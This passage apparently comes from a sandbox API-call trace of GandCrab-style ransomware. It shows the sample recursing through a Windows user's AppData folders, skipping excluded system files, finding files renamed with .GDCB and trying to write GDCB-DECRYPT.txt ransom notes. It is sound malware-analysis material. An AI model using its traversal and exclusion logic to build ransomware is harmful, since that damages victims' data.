returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt" [0135.459] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.459] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0135.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0135.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0135.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\{CA8CA1BB-F2A6-4E9C-B7CC-FB56671763E8}\\GDCB-DECRYPT.txt") returned 104 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.460] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.460] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.460] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.460] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.460] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0 [0135.460] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.460] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.460] lstrcmpW (lpString1="imbMbOER.ppt.GDCB", lpString2=".") returned 1 [0135.460] lstrcmpW (lpString1="imbMbOER.ppt.GDCB", lpString2="..") returned 1 [0135.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="imbMbOER.ppt.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB" [0135.460] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.460] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB") returned 55 [0135.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\imbMbOER.ppt.GDCB") returned 55 [0135.460] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.461] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.461] lstrcmpW (lpString1="ixwxy.png.GDCB", lpString2=".") returned 1 [0135.461] lstrcmpW (lpString1="ixwxy.png.GDCB", lpString2="..") returned 1 [0135.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ixwxy.png.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB" [0135.461] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.461] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB") returned 52 [0135.461] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ixwxy.png.GDCB") returned 52 [0135.461] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.461] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.461] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.wav.GDCB", lpString2=".") returned 1 [0135.461] lstrcmpW (lpString1="jxoh-EFt2nW-t9X.wav.GDCB", lpString2="..") returned 1 [0135.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="jxoh-EFt2nW-t9X.wav.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB" [0135.461] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.461] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB") returned 62 [0135.461] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB") returned 62 [0135.461] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.461] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.461] lstrcmpW (lpString1="ldeazaydq H9.jpg.GDCB", lpString2=".") returned 1 [0135.461] lstrcmpW (lpString1="ldeazaydq H9.jpg.GDCB", lpString2="..") returned 1 [0135.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ldeazaydq H9.jpg.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB" [0135.461] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.462] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB") returned 59 [0135.462] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB") returned 59 [0135.462] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.462] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.462] lstrcmpW (lpString1="LSI0fbp1d3.flv.GDCB", lpString2=".") returned 1 [0135.462] lstrcmpW (lpString1="LSI0fbp1d3.flv.GDCB", lpString2="..") returned 1 [0135.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="LSI0fbp1d3.flv.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB" [0135.462] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.462] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB") returned 57 [0135.462] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB") returned 57 [0135.462] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.462] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.462] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.mp4.GDCB", lpString2=".") returned 1 [0135.462] lstrcmpW (lpString1="lxRXkBM2nNswBBWWBk42.mp4.GDCB", lpString2="..") returned 1 [0135.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="lxRXkBM2nNswBBWWBk42.mp4.GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB" [0135.462] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.462] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB") returned 67 [0135.462] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\lxRXkBM2nNswBBWWBk42.mp4.GDCB") returned 67 [0135.462] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.463] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.463] lstrcmpW (lpString1="Macromedia", lpString2=".") returned 1 [0135.463] lstrcmpW (lpString1="Macromedia", lpString2="..") returned 1 [0135.463] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Macromedia" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia" [0135.463] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\" [0135.463] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.463] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.463] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.463] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.463] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.463] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.463] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned 49 [0135.463] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*" [0135.463] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x2c7640 [0135.463] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.463] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.464] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.464] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.464] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.464] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0135.464] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0135.464] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0135.464] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned 61 [0135.464] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.464] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.464] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.464] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt" [0135.464] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0135.464] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.464] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0135.464] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.464] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.464] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\\\GDCB-DECRYPT.txt") returned 66 [0135.464] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.465] GetLastError () returned 0x50 [0135.465] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.465] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\") returned 49 [0135.465] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*" [0135.465] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x2c7ac0 [0135.465] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.465] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.465] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.465] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.465] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.465] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0135.465] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0135.465] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player" [0135.465] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\" [0135.465] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.465] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.465] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.465] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.465] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.465] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.465] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned 62 [0135.465] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0135.465] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7640 [0135.466] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.466] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.466] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.466] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.466] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.466] lstrcmpW (lpString1="#SharedObjects", lpString2=".") returned -1 [0135.466] lstrcmpW (lpString1="#SharedObjects", lpString2="..") returned -1 [0135.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0135.466] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned 76 [0135.466] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.466] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.466] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.466] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt" [0135.466] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0135.466] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.467] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.467] lstrcmpW (lpString1="macromedia.com", lpString2=".") returned 1 [0135.467] lstrcmpW (lpString1="macromedia.com", lpString2="..") returned 1 [0135.467] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0135.467] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 76 [0135.467] lstrcmpW (lpString1=".com", lpString2=".sql") returned -1 [0135.467] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.467] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.467] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.467] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\\\GDCB-DECRYPT.txt") returned 79 [0135.467] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.469] GetLastError () returned 0x50 [0135.469] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.469] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned 62 [0135.469] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0135.469] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.470] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.470] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.470] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.470] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.470] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.470] lstrcmpW (lpString1="#SharedObjects", lpString2=".") returned -1 [0135.470] lstrcmpW (lpString1="#SharedObjects", lpString2="..") returned -1 [0135.470] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="#SharedObjects" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects" [0135.470] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\" [0135.470] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.470] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.470] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.470] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned 77 [0135.470] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*" [0135.470] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7900 [0135.470] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.470] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.470] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.470] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.470] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.470] lstrcmpW (lpString1="DQQHJZ8C", lpString2=".") returned 1 [0135.470] lstrcmpW (lpString1="DQQHJZ8C", lpString2="..") returned 1 [0135.470] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0135.470] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned 85 [0135.470] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.470] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.470] lstrcmpW (lpString1="GDCB-DECRYPT.txt", 